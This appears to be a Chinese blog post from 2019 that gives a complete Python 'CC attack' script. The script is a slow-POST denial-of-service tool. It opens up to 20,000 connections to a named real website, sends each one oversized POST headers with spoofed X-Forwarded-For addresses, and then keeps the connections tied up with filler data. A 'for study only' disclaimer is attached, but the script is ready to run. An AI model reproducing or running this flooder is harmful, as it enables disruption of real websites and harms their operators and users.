#!/usr/bin/env python
#用于非法用途与站长无关,仅供学习。
import socket
import time
import threading
import sys
import random
####Config
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/"
time_sleep=0.01 # second MAX =0
socks=[]
####################
def Conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
FAKEIP=( str(random.randint(0, 256))+'.'+str(random.randint(0, 256))+'.'+str(random.randint(0, 256))+'.'+str(random.randint(0, 256)) )
buff=("POST %s HTTP/1.1\r\nHost: %s \r\nContent-Length: 10000000\r\nCookie:Fuck_ThisPage\r\nx-forwarded-for:%s\r\n" % (PAGE,HOST,FAKEIP))
s.connect((HOST,PORT))
s.send(buff.encode())
s.send("c".encode()*5000)
print ("Send buff OK!,Connet Num=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(time_sleep*2)
def Send_thread():
global socks
while True:
for s in socks:
try:
s.send("12345678901234567890"*100)
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(time_sleep)
Connect_Threading=threading.Thread(target=Conn_thread,args=())
Send_Threading=threading.Thread(target=Send_thread,args=())
Connect_Threading.start()
Send_Threading.start()
一个简单的CC攻击器 仅供学习测试!(python 网上魔改版)
编程
python
•
阅读量
0
•
阅读时间:
1.3分
2019-03-18